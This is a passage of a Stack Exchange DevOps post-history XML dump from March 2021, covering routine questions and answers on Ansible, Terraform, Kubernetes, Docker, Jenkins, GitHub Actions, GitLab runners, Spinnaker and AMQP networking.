}}&quot;&#xD;&#xA;        side: &quot;client&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here's how I'm trying to run it and what's happening:&#xD;&#xA;```&#xD;&#xA;[ andriim@mtr-vdi-273 ~/work/NFSoRDMA ] $ sudo ANSIBLE_CONFIG=ansible/ansible.cfg ansible-playbook -i ansible/inventory/hosts ansible/playbooks/test-rping.yaml -e 'srv_os=rhel83 clt_os=rhel79' -l rhel83:rhel79&#xD;&#xA;usage: ansible-playbook [-h] [--version] [-v] [-k]&#xD;&#xA;                        [--private-key PRIVATE_KEY_FILE] [-u REMOTE_USER]&#xD;&#xA;                        [-c CONNECTION] [-T TIMEOUT]&#xD;&#xA;                        [--ssh-common-args SSH_COMMON_ARGS]&#xD;&#xA;                        [--sftp-extra-args SFTP_EXTRA_ARGS]&#xD;&#xA;                        [--scp-extra-args SCP_EXTRA_ARGS]&#xD;&#xA;                        [--ssh-extra-args SSH_EXTRA_ARGS] [--force-handlers]&#xD;&#xA;                        [--flush-cache] [-b] [--become-method BECOME_METHOD]&#xD;&#xA;                        [--become-user BECOME_USER] [-K] [-t TAGS]&#xD;&#xA;                        [--skip-tags SKIP_TAGS] [-C] [--syntax-check] [-D]&#xD;&#xA;                        [-i INVENTORY] [--list-hosts] [-l SUBSET]&#xD;&#xA;                        [-e EXTRA_VARS] [--vault-id VAULT_IDS]&#xD;&#xA;                        [--ask-vault-pass | --vault-password-file VAULT_PASSWORD_FILES]&#xD;&#xA;                        [-f FORKS] [-M MODULE_PATH] [--list-tasks]&#xD;&#xA;                        [--list-tags] [--step] [--start-at-task START_AT_TASK]&#xD;&#xA;                        playbook [playbook ...]&#xD;&#xA;ansible-playbook: error: unrecognized arguments: clt_os=rhel79&#xD;&#xA;```&#xD;&#xA;What am I doing wrong?&#xD;&#xA;&#xD;&#xA;UDP: Moving -e before the playbook did not help:&#xD;&#xA;```&#xD;&#xA;[ andriim@mtr-vdi-273 ~/work/NFSoRDMA ] $ sudo ANSIBLE_CONFIG=ansible/ansible.cfg ansible-playbook -i ansible/inventory/hosts -e 'srv_os=rhel83 clt_os=rhel79' ansible/playbooks/test-rping.yaml -l rhel83:rhel79&#xD;&#xA;ERROR! the playbook: clt_os=rhel79 could not be found&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/8996/error-passing-arguments-to-ansible-playbook" ContentLicense="CC BY-SA 4.0" />
  <row Id="41581" PostHistoryTypeId="2" PostId="13518" RevisionGUID="650a198f-269a-4425-a86e-b3944fe0907a" CreationDate="2021-03-10T17:56:23.737" UserId="26541" Text="Run terraform plan first and use the names in the output.&#xD;&#xA;&#xD;&#xA;Goal here is to import in the resources that are listed in the plan output so next time you run plan they won't be listed for add.&#xD;&#xA;&#xD;&#xA;So aws_s3_bucket.machine-learning didn't exist in the plan output I bet. It could have been module.aws_s3_bucket.machine-learning or even module.aws_s3_bucket.machine-learning[0] depending on what your aws-assets.tf does.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41582" PostHistoryTypeId="2" PostId="13519" RevisionGUID="b18bc5f1-f7d9-4adf-ba46-2adc08ac0e70" CreationDate="2021-03-10T18:39:26.567" UserId="6162" Text="&gt;I'm trying to architect a micro-service application, that runs in Kubernetes. It consists of several RESTful APIs. I want a central point to implement authentication for these APIs.&#xD;&#xA;&#xD;&#xA;This is a good idea.&#xD;&#xA;&#xD;&#xA;&gt;So what I'm looking for is a/the way to have central authentication in Kubernetes for users accessing the APIs. I would also require to be able to programmatically add users to this auth layer, so I can have users sign themselves up for access.&#xD;&#xA;&#xD;&#xA;Just to make it clear: Kubernetes is a container orchestrator, e.g. a way to manage your services. It consists of a _control plane_ (think management of apps) and a _data plane_ (think your apps and customer traffic). Both parts may require proper authentication and authorization. When it comes to your &quot;business idea&quot; - it is about the _data plane_ - here this problem is orthogonal to the platform (e.g. Kubernetes or Heroku) that you run your apps on. So think how you should solve your problem with Microservice architecture, and not so much about Kubernetes.&#xD;&#xA;&#xD;&#xA;&gt;In my product, users would be able to sign themselves up on a website. Signing up would have to give them access to the API's.&#xD;&#xA;&#xD;&#xA;The most common protocol for this nowadays is to use [OpenID Connect][1] - that is the protocol behind both e.g. Google Accounts and Microsoft Azure AD. What you need is an _OpenID Connect provider_ implementation. The most commonly used open source implementation is [Keycloak][2]. Remember, this kind of service is _stateful_ and you will need a database as well.&#xD;&#xA;&#xD;&#xA;Instead of setting up your own OpenID Connect provider, you could also let the user use an account that he already has, e.g. a Google Account or Twitter Account - it depends on your use case.&#xD;&#xA;&#xD;&#xA;&gt;I've seen ingress controllers that do central auth, but I haven't found if they support programmatically adding accounts. I've also seen API gateway software that might do what I want, but I'm not sure if and if so, which ones can run in Kubernetes.&#xD;&#xA;&#xD;&#xA;What you talk about here is mostly _validation of authentication_ and this is sometimes done using &quot;auth aware ingress controllers&quot;. With OpenID Connect protocol, the user send a [JWT][3]-token as proof of authentication, and you could redirect unauthenticated users to your _Open ID Connect provider_.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://openid.net/connect/&#xD;&#xA;  [2]: https://www.keycloak.org/&#xD;&#xA;  [3]: https://www.jsonwebtoken.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41583" PostHistoryTypeId="2" PostId="13520" RevisionGUID="bf3a1d63-b1fc-4fa3-a959-6a6cc5cd5910" CreationDate="2021-03-10T18:54:46.803" UserId="6162" Text="Pods is the deployment unit in Kubernetes and it is also the unit that gets a single unique IP address within the cluster.&#xD;&#xA;&#xD;&#xA;You can access Pods without going via a Service. A Service is mostly there to get a &quot;stable&quot; address for an application, where the traffic is then load balanced to any Pod representing the Service. Both Pods and Services gets a [DNS name][1] in the cluster.&#xD;&#xA;&#xD;&#xA;A Service has a selector to identify what Pods belong to the Service, but a Pod can receive traffic from multiple Services. In the same way a NetworkPolicy has a selector to select the Pods where it is applied.&#xD;&#xA;&#xD;&#xA;Since a Pod is the smallest unit in Kubernetes, that gets its own unique network address it also makes sense to add the network security (e.g. Network Policies) at this level.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/#pods" ContentLicense="CC BY-SA 4.0" />
  <row Id="41584" PostHistoryTypeId="5" PostId="12759" RevisionGUID="49768896-44bb-4be8-8ebd-bb1a372d0d5d" CreationDate="2021-03-10T18:58:36.333" UserId="6" Comment="fix typo" Text="The &quot;official&quot; nginx image has a specific path where it looks for files. You can either copy a file into the image by creating a new image from it or mount your files into this path as a volume.&#xD;&#xA;&#xD;&#xA;To copy files, have a folder with your `index.html` and a `Dockerfile` that looks like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM nginx&#xD;&#xA;COPY index.html /usr/share/nginx/html&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then build a new image with `docker build -t my-nginx .`&#xD;&#xA;&#xD;&#xA;To start a container with your own files as a volume, you can run the container like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run -p 8080:80 -v ${PWD}:/usr/share/nginx/html nginx&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;All the files in your current folder (including the `index.html`) will now be available via `http://localhost:8080/index.html`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Most of this information is covered in the documentation for the image at https://hub.docker.com/_/nginx" ContentLicense="CC BY-SA 4.0" />
  <row Id="41585" PostHistoryTypeId="2" PostId="13521" RevisionGUID="b82bd429-21c6-46fc-b445-7cc5e5b73c99" CreationDate="2021-03-10T22:44:40.723" UserId="11490" Text="Lets say you have the following services:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;admin&#xD;&#xA;api&#xD;&#xA;client&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But there are only changes to `admin`. &#xD;&#xA;&#xD;&#xA;And your pipeline is like the following:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;1. PR -&gt; &#xD;&#xA;2. Build microservice -&gt; &#xD;&#xA;3. Unit test microservice -&gt; &#xD;&#xA;4. If passing, integration, BDD, and E2E tests with other services -&gt; &#xD;&#xA;5. If passing, send image to container registry -&gt; &#xD;&#xA;6. Merge PR to production -&gt; &#xD;&#xA;7. Deploy image to production cluster&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In this case, should it just be building, unit testing the `admin` service, and pulling the existing `api` image (there are no direct integrations with `client` and `admin`) given there was only a change to `admin`?&#xD;&#xA;&#xD;&#xA;I ask because our pipeline currently rebuilds all microservices, runs their unit tests, then does the integration tests, and redeploys them even if there were no changes to them. It seems to me kind of wasteful and if they are really isolated microservices, a change in one shouldn't break another." ContentLicense="CC BY-SA 4.0" />
  <row Id="41586" PostHistoryTypeId="1" PostId="13521" RevisionGUID="b82bd429-21c6-46fc-b445-7cc5e5b73c99" CreationDate="2021-03-10T22:44:40.723" UserId="11490" Text="Rebuilding, unit testing, etc if a microservice hasn't been changed" ContentLicense="CC BY-SA 4.0" />
  <row Id="41587" PostHistoryTypeId="3" PostId="13521" RevisionGUID="b82bd429-21c6-46fc-b445-7cc5e5b73c99" CreationDate="2021-03-10T22:44:40.723" UserId="11490" Text="&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;testing&gt;&lt;unit-testing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41588" PostHistoryTypeId="2" PostId="13522" RevisionGUID="a261bfcc-ee44-452c-9b74-e8f6f5251426" CreationDate="2021-03-10T23:07:00.577" UserId="26546" Text="We have an operations team that looks after our running tenants. They respond to requests and incidents from users by following specific processes, they might for instance restart a container on an instance or undelete a resource a user deleted by accident.&#xD;&#xA;&#xD;&#xA;Because these are repeatable actions they should be automated by rolling them into scripts. We want the jobs to be executed centrally so we can be able to track who ran which job and ideally have a central dashboard.&#xD;&#xA;&#xD;&#xA;I need to investigate a platform to provide to the Operations team to get this job done.&#xD;&#xA;&#xD;&#xA;Being from a dev background Jenkins would be my obvious choice but I feel like this must be a solved problem in the devops/ops world. &#xD;&#xA;&#xD;&#xA;I've tried to research this but part of the problem is I don't know the name of the *class* of tool I'm looking for. When I look for automation platforms I find CI systems but they don't really fit with my problem.&#xD;&#xA;&#xD;&#xA;Which tool or type of tool is appropriate to my needs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41589" PostHistoryTypeId="1" PostId="13522" RevisionGUID="a261bfcc-ee44-452c-9b74-e8f6f5251426" CreationDate="2021-03-10T23:07:00.577" UserId="26546" Text="What tool or type of tool am I looking for?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41590" PostHistoryTypeId="3" PostId="13522" RevisionGUID="a261bfcc-ee44-452c-9b74-e8f6f5251426" CreationDate="2021-03-10T23:07:00.577" UserId="26546" Text="&lt;jenkins&gt;&lt;operations&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41591" PostHistoryTypeId="2" PostId="13523" RevisionGUID="37deec12-ed37-405a-813e-3f58cef7216c" CreationDate="2021-03-11T00:57:56.210" UserId="22720" Text="I am inspecting logs in Azure DevOps:&#xD;&#xA;&#xD;&#xA;```2021-03-11T00:49:23.4933693Z ##[section]Starting: Download artifact - build - api-prod&#xD;&#xA;2021-03-11T00:49:23.5944120Z ==============================================================================&#xD;&#xA;2021-03-11T00:49:23.5944831Z Task         : Download pipeline artifact&#xD;&#xA;2021-03-11T00:49:23.5945699Z Description  : Download a named artifact from a pipeline to a local path&#xD;&#xA;2021-03-11T00:49:23.5946222Z Version      : 1.2.5&#xD;&#xA;2021-03-11T00:49:23.5946643Z Author       : Microsoft Corporation&#xD;&#xA;2021-03-11T00:49:23.5947566Z Help         : Download a named artifact from a pipeline to a local path&#xD;&#xA;2021-03-11T00:49:23.5947945Z ==============================================================================&#xD;&#xA;2021-03-11T00:49:24.1641444Z Download from the specified build: #14437&#xD;&#xA;2021-03-11T00:49:24.1644685Z Download artifact to: D:\a\r1\a/build/api-prod&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What is very confusing is this path: D:\a\r1\a/build/api-prod&#xD;&#xA;&#xD;&#xA;The task is running on Microsoft provided Windows agent (vs2017-win2016).&#xD;&#xA;&#xD;&#xA;The task was not defined by me explicitly, this is an automatic task when creating a stage with steps in Release pipeline.&#xD;&#xA;&#xD;&#xA;This doesn't seem to cause any particular issue, but I was wondering what causes this behavior, as I thought Windows uses backward slash in paths." ContentLicense="CC BY-SA 4.0" />
  <row Id="41592" PostHistoryTypeId="1" PostId="13523" RevisionGUID="37deec12-ed37-405a-813e-3f58cef7216c" CreationDate="2021-03-11T00:57:56.210" UserId="22720" Text="Azure DevOps download artifact task: mix of forward and backward slashes" ContentLicense="CC BY-SA 4.0" />
  <row Id="41593" PostHistoryTypeId="3" PostId="13523" RevisionGUID="37deec12-ed37-405a-813e-3f58cef7216c" CreationDate="2021-03-11T00:57:56.210" UserId="22720" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41594" PostHistoryTypeId="2" PostId="13524" RevisionGUID="f54d9212-db65-4148-90b6-007d2c2beb3c" CreationDate="2021-03-11T02:04:50.563" UserId="18965" Text="[Buildah](https://buildah.io/) scripts typically use shell. You can see an example of a script here,&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    ctr=$(buildah from alpine:3)&#xD;&#xA;    buildah commit &quot;$ctr&quot; myAlpineImage&#xD;&#xA;&#xD;&#xA;Let's say I have such a shell script that produces an image &quot;myAlpineImage&quot;. How can I use GitHub CI to automate the creation of this image, and preferably uploading it to GitHub Container Registry?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41595" PostHistoryTypeId="1" PostId="13524" RevisionGUID="f54d9212-db65-4148-90b6-007d2c2beb3c" CreationDate="2021-03-11T02:04:50.563" UserId="18965" Text="How can I use a buildah script for image generation using GitHub Actions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41596" PostHistoryTypeId="3" PostId="13524" RevisionGUID="f54d9212-db65-4148-90b6-007d2c2beb3c" CreationDate="2021-03-11T02:04:50.563" UserId="18965" Text="&lt;containers&gt;&lt;github&gt;&lt;github-actions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41598" PostHistoryTypeId="2" PostId="13525" RevisionGUID="449125ab-a644-4d3a-b79b-980595ce11d0" CreationDate="2021-03-11T10:00:15.180" UserId="26555" Text="How to use tags to use a specific runner?&#xD;&#xA;I wrote tag in .gitlab-ci.yml:&#xD;&#xA;appBuild:&#xD;&#xA;  stage: build&#xD;&#xA;  tags:&#xD;&#xA;    - android&#xD;&#xA;&#xD;&#xA;I wrote &quot;android&quot; tag in runner config.&#xD;&#xA;But job is in pending state and is waiting to be picked by a runner.&#xD;&#xA;What is wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41599" PostHistoryTypeId="1" PostId="13525" RevisionGUID="449125ab-a644-4d3a-b79b-980595ce11d0" CreationDate="2021-03-11T10:00:15.180" UserId="26555" Text="How to use tags to use a specific runner?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41600" PostHistoryTypeId="3" PostId="13525" RevisionGUID="449125ab-a644-4d3a-b79b-980595ce11d0" CreationDate="2021-03-11T10:00:15.180" UserId="26555" Text="&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41601" PostHistoryTypeId="5" PostId="13525" RevisionGUID="ac7f31b5-0c08-4d62-a9f3-62ca537abe4b" CreationDate="2021-03-11T10:10:41.100" UserId="26555" Comment="added 18 characters in body" Text="How to use tags to use a specific gitlab-runner?&#xD;&#xA;I wrote tag in .gitlab-ci.yml:&#xD;&#xA;&#xD;&#xA;    appBuild:&#xD;&#xA;      stage: build&#xD;&#xA;      tags:&#xD;&#xA;        - android&#xD;&#xA;&#xD;&#xA;I wrote &quot;android&quot; tag in runner config.&#xD;&#xA;But job is in pending state and is waiting to be picked by a runner.&#xD;&#xA;What is wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41602" PostHistoryTypeId="4" PostId="13525" RevisionGUID="ac7f31b5-0c08-4d62-a9f3-62ca537abe4b" CreationDate="2021-03-11T10:10:41.100" UserId="26555" Comment="added 18 characters in body" Text="How to use tags to use a specific gitlab-runner?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41603" PostHistoryTypeId="2" PostId="13526" RevisionGUID="62a886bd-90e0-440f-b853-2f50dbdcdb5e" CreationDate="2021-03-11T17:30:56.113" UserId="4115" Text="Jenkins can work just fine for this purpose.  In my view, Jenkins is a general-purpose automation tool, not necessarily a CI/CD tool specifically.&#xD;&#xA;&#xD;&#xA;I'm on an Ops team and we use both Jenkins and Rundeck.  We generally prefer Jenkins because we find it difficult to navigate the Rundeck UI and find things like job output, but on the other hand it's often easier to write jobs for Rundeck, because you don't need to know Groovy/Pipeline.  Here are some examples of what we use each for:&#xD;&#xA;&#xD;&#xA; * Install package updates on managed systems (yum/dnf packages) - Rundeck&#xD;&#xA; * Deploy &amp; provision new VMs - Jenkins&#xD;&#xA; * Run Chef on managed systems - Rundeck&#xD;&#xA; * Clean up stale Computer objects in Active Directory - Rundeck&#xD;&#xA; * Clean up stale subscriptions in Red Hat Satellite - Rundeck&#xD;&#xA; * Create &amp; configure new repositories in Bitbucket from templates - Jenkins&#xD;&#xA; * Build new vagrant images - Jenkins&#xD;&#xA; * Backup &amp; upgrade some services that my team manages (AWX, Red Hat Satellite, etc.) - Jenkins or Rundeck depending on the service&#xD;&#xA;&#xD;&#xA;I'm not claiming that either of these tools is the best choice for any of these particular examples, just that my team uses them for these purposes and they generally work well.  Historically, which tool we use for each job generally has come down to personal preference of the person who created the job.&#xD;&#xA;&#xD;&#xA;In terms of the name of this type of tool, we just call them &quot;automation tools&quot; or &quot;automation platforms&quot;.  I'm not sure if there's a more &quot;industry-standard&quot; term for this type of tool." ContentLicense="CC BY-SA 4.0" />
  <row Id="41609" PostHistoryTypeId="2" PostId="13528" RevisionGUID="921b7bd3-23e7-485c-a181-fc2fd34cb2b3" CreationDate="2021-03-11T20:02:08.193" UserId="18965" Text="Here is what I did, I create a Makefile that includes my own method of image creation,&#xD;&#xA;&#xD;&#xA;    .PHONY: image clean image-release&#xD;&#xA;    image: image-release&#xD;&#xA;    &#xD;&#xA;    image-release:&#xD;&#xA;    	cargo build --release&#xD;&#xA;    	buildah unshare ./image/distroless.sh release&#xD;&#xA;    &#xD;&#xA;    clean:&#xD;&#xA;    	cargo -v clean&#xD;&#xA;&#xD;&#xA;For this purpose the only thing that matters is the image created by `./image/distroless.sh` matches the action (`redhat-actions/push-to-registry`) in the following flow. We'll continue using the name `myAlpineImage` as in the question,&#xD;&#xA;&#xD;&#xA;    name: Distroless Image Creation&#xD;&#xA;    &#xD;&#xA;    on:&#xD;&#xA;      push:&#xD;&#xA;        branches: [ master ]&#xD;&#xA;      pull_request:&#xD;&#xA;        branches: [ master ]&#xD;&#xA;    &#xD;&#xA;    env:&#xD;&#xA;      CARGO_TERM_COLOR: always&#xD;&#xA;    &#xD;&#xA;    jobs:&#xD;&#xA;      build:&#xD;&#xA;    &#xD;&#xA;        runs-on: ubuntu-latest&#xD;&#xA;    &#xD;&#xA;        steps:&#xD;&#xA;        - uses: actions/checkout@v2&#xD;&#xA;        - name: Download and create image.&#xD;&#xA;          run: make image-release&#xD;&#xA;        - name: Push To Registry&#xD;&#xA;          uses: redhat-actions/push-to-registry@v2.1.1&#xD;&#xA;          with:&#xD;&#xA;            image: myAlpineImage&#xD;&#xA;            tags: latest&#xD;&#xA;            registry: ghcr.io/evancarroll/project&#xD;&#xA;            username: evancarroll&#xD;&#xA;            password: ${{ secrets.GHCR_TOKEN }}&#xD;&#xA;&#xD;&#xA;You can see here we make the call to `make image-release` which calls the buildah script and makes the image rootless.&#xD;&#xA;&#xD;&#xA;Then I added the secret for `GHCR_TOKEN` to my repo. The token is generated in the [&quot;Settings / Developer settings / Personal access&quot; tokens on github.](https://github.com/settings/tokens)." ContentLicense="CC BY-SA 4.0" />
  <row Id="41611" PostHistoryTypeId="2" PostId="13529" RevisionGUID="9e80a0a5-117b-47f8-96d3-a7d8a20d459f" CreationDate="2021-03-12T00:26:13.473" UserId="4115" Text="The [blog post you linked to in your comment which describes using YAML to generate Pipelines](https://www.jenkins.io/blog/2018/04/25/configuring-jenkins-pipeline-with-yaml-file/) is about an unofficial 3rd-party Jenkins plugin which adds this feature; neither native Jenkins nor official plugins support using YAML to generate Pipelines.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;&gt; pipelines or declarative pipeline (do other type of pipelines exist in jenkins?) are defined using a syntax that is based on an extension of groovy&#xD;&#xA;&#xD;&#xA;There are two types of natively-supported Pipelines: Scripted Pipelines (which are pure Groovy scripts) and Declarative Pipelines (which use a Groovy-based DSL)." ContentLicense="CC BY-SA 4.0" />
  <row Id="41612" PostHistoryTypeId="2" PostId="13530" RevisionGUID="e5c485f1-02fe-44e5-bd0f-258530775746" CreationDate="2021-03-12T00:40:03.073" UserId="4115" Text="&gt; If this is not possible is there any other way without duplicating the 100GB for each jenkins job? &#xD;&#xA;&#xD;&#xA;To avoid frequent clones of the repository, you can put a single clone of the repository on-disk on your executor nodes outside of the normal workspace path.  Then, in your Jenkins job, you can cd to that directory with [the dir step](https://www.jenkins.io/doc/pipeline/steps/workflow-basic-steps/#dir-change-current-directory), update the repo, and checkout the branch you want, e.g.:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;dir('/path/to/repo') {&#xD;&#xA;  sh('git fetch --all')&#xD;&#xA;  sh('git checkout origin/lineage-16.0')&#xD;&#xA;  // your build steps here&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However, this has the major drawback that the one repo will be shared across all of your jobs, which means you cannot run those jobs in parallel without risking corruption.  It sounds like running jobs in parallel was one of your requirements, so this may be a no-go.&#xD;&#xA;&#xD;&#xA;You could probably get parallel builds to work by using a copy-on-write filesystem so that the repo appears to be in multiple independent directories but only actually has to be cloned once, but I've never tried something like this, so I can't say how well it would work." ContentLicense="CC BY-SA 4.0" />
  <row Id="41614" PostHistoryTypeId="2" PostId="13531" RevisionGUID="9bcefb90-64f2-48b8-abdb-f7b19956f005" CreationDate="2021-03-12T06:32:03.290" UserId="8616" Text="I have a pipeline with a few disabled stages:&#xD;&#xA;&#xD;&#xA;```json&#xD;&#xA;{&#xD;&#xA;  &quot;enabled&quot;: false,&#xD;&#xA;  &quot;completeOtherBranchesThenFail&quot;: true,&#xD;&#xA;  &quot;continuePipeline&quot;: false,&#xD;&#xA;  &quot;failPipeline&quot;: false,&#xD;&#xA;  &quot;parameters&quot;: {&#xD;&#xA;    &quot;FOO&quot;: &quot;bar&quot;&#xD;&#xA;  },&#xD;&#xA;  &quot;type&quot;: &quot;jenkins&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The doc states that disabled stages are hidden from the UI [1]:&#xD;&#xA;&#xD;&#xA;&gt; `enabled` - Determines if stage will be available in the UI.&#xD;&#xA;&#xD;&#xA;However, those stages are still present in the UI.&#xD;&#xA;&#xD;&#xA;When I go to `Configure Pipeline` &gt; `Edit stage as JSON`, the `enabled` flag is set to `false`, so the UI has the right value.&#xD;&#xA;&#xD;&#xA;1. https://spinnaker.io/guides/operator/custom-job-stages/#creating-a-custom-job-stage&#xD;&#xA;&#xD;&#xA;Spinnaker version 1.23.5" ContentLicense="CC BY-SA 4.0" />
  <row Id="41615" PostHistoryTypeId="1" PostId="13531" RevisionGUID="9bcefb90-64f2-48b8-abdb-f7b19956f005" CreationDate="2021-03-12T06:32:03.290" UserId="8616" Text="Spinnaker keeps showing disabled stages in Jenkins pipeline UI" ContentLicense="CC BY-SA 4.0" />
  <row Id="41616" PostHistoryTypeId="3" PostId="13531" RevisionGUID="9bcefb90-64f2-48b8-abdb-f7b19956f005" CreationDate="2021-03-12T06:32:03.290" UserId="8616" Text="&lt;spinnaker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41617" PostHistoryTypeId="2" PostId="13532" RevisionGUID="3dea0eff-25d5-4f8b-aa5d-b9a8babdd1b0" CreationDate="2021-03-12T11:35:13.313" UserId="26571" Text="I have a docker containing AMQP(an open-source message broker). The docker-compose file is : &#xD;&#xA;```version: '2.4'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;&#xD;&#xA;  mom:&#xD;&#xA;    image: vromero/activemq-artemis:2.15.0-alpine&#xD;&#xA;    restart: unless-stopped&#xD;&#xA;    ports:&#xD;&#xA;      - 8161:8161&#xD;&#xA;      - 61616:61616&#xD;&#xA;      - 5672:5672&#xD;&#xA;    environment:&#xD;&#xA;      - ARTEMIS_USERNAME=guest&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I also have a quarkus app with the following properties:&#xD;&#xA;```# Configures the AMQP broker credentials.&#xD;&#xA;amqp-username=${MOM_USERNAME:guest}&#xD;&#xA;amqp-password=${MOM_PASSWORD:guest}&#xD;&#xA;amqp-host=${MOM_HOST:localhost}&#xD;&#xA;%prod.amqp-host=${MOM_HOST:mom}&#xD;&#xA;amqp-port=${MOM_PORT:5672}&#xD;&#xA;&#xD;&#xA;mp.messaging.incoming.problems.connector=smallrye-amqp&#xD;&#xA;mp.messaging.incoming.problems.container-id=problems&#xD;&#xA;mp.messaging.incoming.problems.durable=true&#xD;&#xA;mp.messaging.incoming.problems.failure-strategy=reject&#xD;&#xA;&#xD;&#xA;mp.messaging.outgoing.solutions-dispatch.address=solutions&#xD;&#xA;mp.messaging.outgoing.solutions-dispatch.connector=smallrye-amqp&#xD;&#xA;&#xD;&#xA;quarkus.log.level=${LEVEL:INFO}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I have two machines. I want to run the docker to run on one machine (machine A) and the app to run on another machine (machine B). I will send messages using machine A and then the app, which is running on my machine B, will compute the solution and send it back to the other machine. &#xD;&#xA;&#xD;&#xA;I changed the `amqp-host=${MOM_HOST:localhost}` to `amqp-host=${MOM_HOST:XX.XX.X.X}` where the XX.X.X.X is the IP address of my machine A but it doesn't work.  I'have got the following error: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;2021-03-12 08:39:02,207 ERROR [io.sma.rea.mes.amqp] (vert.x-eventloop-thread-1) SRMSG16215: Unable to connect to the broker, retry will be attempted: java.lang.IllegalStateException: executor not accepting a task&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;PS: on the browser of the machine B, the XX.XX.X.X:8161 opens the management console of MOM running on the docker on machine A. &#xD;&#xA;&#xD;&#xA;How to make this work ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41618" PostHistoryTypeId="1" PostId="13532" RevisionGUID="3dea0eff-25d5-4f8b-aa5d-b9a8babdd1b0" CreationDate="2021-03-12T11:35:13.313" UserId="26571" Text="How to make docker look for a port on another machine?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41619" PostHistoryTypeId="3" PostId="13532" RevisionGUID="3dea0eff-25d5-4f8b-aa5d-b9a8babdd1b0" CreationDate="2021-03-12T11:35:13.313" UserId="26571" Text="&lt;docker-compose&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41620" PostHistoryTypeId="2" PostId="13533" RevisionGUID="680eef8a-eae6-4d7f-8be2-b1bd7b8d4ae2" CreationDate="2021-03-12T15:18:01.340" UserId="26577" Text="Even better check this out:&#xD;&#xA;&#xD;&#xA;aws ec2 describe-instances | jq '.Reservations[] | .Instances[] | {PrivateAddress: .PrivateIpAddress, Tags: .Tags, KeyName: .KeyName, Tags: .Tags, RunningState: .State, InstanceId: .InstanceId, SecurityGroups: .SecurityGroups}'&#xD;&#xA;&#xD;&#xA;you don't need to know anything this way ... but you need to install jq, to chomp the json o/p just right. &#xD;&#xA;&#xD;&#xA;A lot of the elements there could be removed I guess ... tags, keynames, running state etc." ContentLicense="CC BY-SA 4.0" />
  <row Id="41621" PostHistoryTypeId="2" PostId="13534" RevisionGUID="fbf35aa4-70e0-4e64-b69b-7b42252d1847" CreationDate="2021-03-12T17:47:15.093" UserId="26580" Text="I'm looking for some insights into cloud management. I won't go into much detail, I just need some general information/resources that I can follow, about these topics:&#xD;&#xA;&#xD;&#xA; 1. When to use container services like Fargate, ACI, App Service? If the project isn't big enough, is it worth to migrate from more traditional approach (so VM instances with docker-compose running inside)?&#xD;&#xA; 2. Managed DBs - I totally get their advantages and I'm a huge fan. But&#xD;&#xA;    they are expensive. How many instances should be deployed? Let's&#xD;&#xA;    assume that I have 5 independent projects and each project has&#xD;&#xA;    dev/staging/prod environments. Should I have 15 DB servers&#xD;&#xA;    (instances) running? Or can I perhaps run one DB instance and serve&#xD;&#xA;    dev/staging environments from there and keep prod instances&#xD;&#xA;    seperate? Important: I mean database server instances, not&#xD;&#xA;    databases.&#xD;&#xA;&#xD;&#xA;I've been trying to find some info online but most docs don't go into that much detail. Could you give me some more insight on how to run this type of infra? Mind you, the projects are not big, the databases are 1-2 GB in size (dev/staging DBs much less than that). What approach would you choose and why?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41622" PostHistoryTypeId="1" PostId="13534" RevisionGUID="fbf35aa4-70e0-4e64-b69b-7b42252d1847" CreationDate="2021-03-12T17:47:15.093" UserId="26580" Text="How many DB instances to use? When to switch to container services?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41623" PostHistoryTypeId="3" PostId="13534" RevisionGUID="fbf35aa4-70e0-4e64-b69b-7b42252d1847" CreationDate="2021-03-12T17:47:15.093" UserId="26580" Text="&lt;docker&gt;&lt;azure&gt;&lt;databases&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 4.0" />
